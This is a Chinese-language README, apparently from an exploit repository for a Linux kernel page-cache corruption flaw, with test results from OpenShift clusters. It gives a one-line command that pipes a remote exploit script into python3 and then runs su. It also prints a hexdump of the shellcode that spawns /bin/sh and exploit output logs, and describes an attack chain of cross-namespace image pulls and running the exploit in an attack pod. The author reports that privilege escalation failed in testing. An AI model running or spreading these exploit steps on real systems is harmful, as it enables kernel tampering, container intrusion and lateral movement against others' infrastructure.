CVE-2026-31431 “复制失败” - 页缓存损坏漏洞

通过 authencesn AEAD 操作导致的 Linux 内核页缓存损坏。

⚠️ 重要：利用状态更新（2026年5月1日）

在多个搭载 RHEL 9.6 内核的 OpenShift 4.20.16 集群上进行广泛测试后：

• ✅ 页缓存损坏： 已确认 - 160 字节 shellcode 成功注入
• ✅ 内核漏洞： 可从无特权容器利用（零能力）
• ❌ 权限提升： 未实现 - 尽管缓存被损坏，UID 仍保持不变
• ❌ 代码执行： 未观察到 - 修改后的页面在读取中可见但不会执行
• ✅ Restricted-v2 SCC： 有效 - 防止容器逃逸，限制爆炸半径

完整详情请参阅综合测试结果部分。

---

概述

CVE-2026-31431 是 Linux 内核中 authencesn AEAD 加密实现的一个漏洞，允许无特权进程通过 AF_ALG 套接字和 splice() 系统调用操作来损坏可读文件的页缓存。

测试表明： 页缓存损坏可可靠实现，但在我们的测试环境中，RHEL 9.6 内核上不会发生权限提升。

CVSS 评分： 7.8（高危）
受影响范围： 支持 authencesn 的 Linux 内核版本（2017-2026）
公开披露： 2026年4月29日

功能特性

• 兼容 Python 3.9+： 通过 ctypes 包含 splice() 系统调用封装
• 可移植性： 可在任何具有易受攻击内核的 Linux 系统上运行
• 可靠性： 无需竞态条件
• 简洁性： 160 字节 shellcode，确定性利用

要求

• 具有易受攻击的 authencesn 实现的 Linux 内核（2026年4月补丁之前）
• Python 3.9+
• 无特权用户访问权限
• 可读的 setuid 二进制文件（默认：/usr/bin/su）

使用方法

基本用法```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

### 从本地文件```bash
python3 exploit.py
su

实际漏洞利用行为（基于测试）

将会发生的情况：``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

**页面缓存验证（确认损坏）：**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

不会发生的情况（基于测试）：```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

**结论：** 页缓存破坏成功，但权限提升失败。

## 技术细节

### 漏洞

Linux 内核的 `authencesn`（带关联数据的认证加密 - 扩展序列号）实现在其就地操作处理中存在缺陷。当处理通过 AF_ALG 套接字提交的 AEAD 操作时，页缓存页面可能最终进入内核的可写目标散列表。

### 利用技术

1. **创建 AF_ALG 套接字**，使用 `authencesn(hmac(sha256),cbc(aes))`
2. **配置 AEAD 参数**（密钥、认证大小）
3. **打开目标 setuid 二进制文件**（例如 `/usr/bin/su`）
4. **使用 splice()** 将二进制文件读入页缓存
5. **触发就地 AEAD 操作**，导致对页缓存的写入
6. **每次写入 4 字节**的 shellcode
7. **执行修改后的二进制文件**以获取 root 权限

### Shellcode

该漏洞利用使用一段 160 字节的 shellcode，用于修补 `/usr/bin/su`，以实现：
- 跳过密码认证
- 授予 root shell 访问权限
- 保持非特权用户的正常功能

## Python 3.9 兼容性

Python 3.9 及更早版本的标准库中没有 `os.splice()`。此漏洞利用包含一个基于 ctypes 的实现：```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

这使该漏洞利用可在以下环境中运行：

• ✅ Python 3.9（RHEL 9、Ubuntu 20.04 等）
• ✅ Python 3.10+
• ✅ 任何支持 ctypes 的 Python

全面测试结果

测试环境 1：OpenShift 4.20.16 集群（第一次测试）

节点配置：

• 内核：5.14.0-570.96.1.el9_6.x86_64（RHEL CoreOS 9.6）
• OpenShift：4.20.16
• SCC：restricted-v2（限制最严格）
• UID：1000830000（用户命名空间）
• 能力：0x0000000000000000（零）

测试结果：``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

### 测试环境 2：全新 OpenShift 集群（验证测试）

**集群：** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**节点配置：**
- 内核：5.14.0-570.96.1.el9_6.x86_64（与测试 1 相同）
- OpenShift：4.20.16  
- SCC：restricted-v2（已验证）
- UID：1000810000（用户命名空间）
- 能力：0x0000000000000000（零）

**测试结果：**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

一致性： 跨独立集群实现 100% 可复现的结果

容器逃逸测试

场景 A：使用 hostPath 卷（容器逃逸可能）```yaml volumes:

• name: host-usr hostPath: path: /usr

结果：✅ **容器逃逸** - 修改主机页面缓存（设备 33，Inode 4288）

**场景 B：Restricted-v2 SCC（无 hostPath）**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

结果：❌ 无容器逃逸 - 仅影响容器覆盖层（独立 inode）

关键发现： hostPath 访问（而非 capabilities）是决定容器逃逸的关键因素。

为何提权失败

可能原因（需进一步研究）：

1. 读取与执行代码路径

   • 页缓存损坏影响 mmap(PROT_READ) 操作
   • 可执行映射 mmap(PROT_EXEC) 可能绕过损坏的缓存
   • 内核可能对可执行页面使用不同的代码路径

2. 内存保护

   • W^X（写与执行互斥）强制机制
   • 内核可执行页面验证
   • SELinux/AppArmor 代码完整性检查

3. 内核版本特定

   • RHEL 9.6（5.14.0-570.96.1）可能具有额外保护
   • 原始 CVE 研究可能使用了不同的内核版本
   • 行为可能因内核版本而异

实际有效的内容

测试	OpenShift 4.20 #1	OpenShift 4.20 #2	状态
AF_ALG 套接字访问	✅	✅	有效
页缓存损坏	✅	✅	有效
Shellcode 注入	✅	✅	有效
Shellcode 可见（读取）	✅	✅	有效
UID 更改（提权）	❌	❌	失败
代码执行	❌	❌	失败
容器逃逸（restricted-v2）	❌	❌	已阻止

结论： 内核漏洞真实存在（页缓存损坏已证实），但实际利用受限。

已测试系统

系统	内核	页缓存损坏	提权	备注
RHEL CoreOS 9.6	5.14.0-570.96.1.el9_6	✅ 是	❌ 否	OpenShift 4.20.16 工作节点
OpenShift 4.20 容器	5.14.0-570.96.1.el9_6	✅ 是	❌ 否	restricted-v2 SCC

注意： 测试仅限于 RHEL 9.6 内核。其他发行版/版本上的行为未经验证。

OpenShift 容器测试

已在运行 RHEL CoreOS 9.4 的 OpenShift 4.20 集群上成功测试。本节记录了命名空间隔离绕过和容器入侵。

⚠️ 重要更正： 初始测试错误地声称可通过 /proc/1/root 访问主机文件系统。这是错误的 - 在隔离容器中，/proc/1/root 指向容器自身的文件系统，而非 OpenShift 工作节点主机。详见 attacks/README.md 中的详细分析。

攻击链摘要```

Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts

### 阶段 1：命名空间隔离绕过

**漏洞：** OpenShift 内部镜像仓库允许在没有适当 RBAC 强制的情况下进行跨命名空间镜像拉取。

**利用方式：**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

结果：

• ✅ 从 openshift 命名空间拉取了 openshift/cli 镜像
• ✅ 获得了 oc、kubectl、curl、openssl、Python 3.9 的访问权限
• ✅ 绕过了命名空间隔离

影响： 允许租户间横向移动以及特权工具访问。

第二阶段：容器内内核利用

部署：```bash

Execute exploit in attack pod

oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su "

**结果：**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
    Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...

利用后能力：

• ✅ 页缓存损坏成功（可见 160 字节 shellcode）
• ⚠️ 无权限提升 - UID 保持不变（用户命名空间 UID）
• ✅ 可损坏容器页缓存中的文件（影响 READ 操作）
• ✅ 网络访问（API 服务器、镜像仓库、互联网）
• ❌ 无 实际 root 访问权限，尽管有相关声称
• ❌ 无 capabilities（所有 CapPrm/CapEff = 0x0000000000000000）
• ❌ 仍处于隔离的 PID/挂载/用户命名空间中
• ❌ 无法 访问工作节点主机文件系统
• ❌ 无法 查看主机进程

阶段 3：容器环境分析

现实核查 - /proc/1/root 并非宿主机：```bash

These point to the SAME filesystem (container's own root)

stat -c '%i' /tmp/test.txt

136358432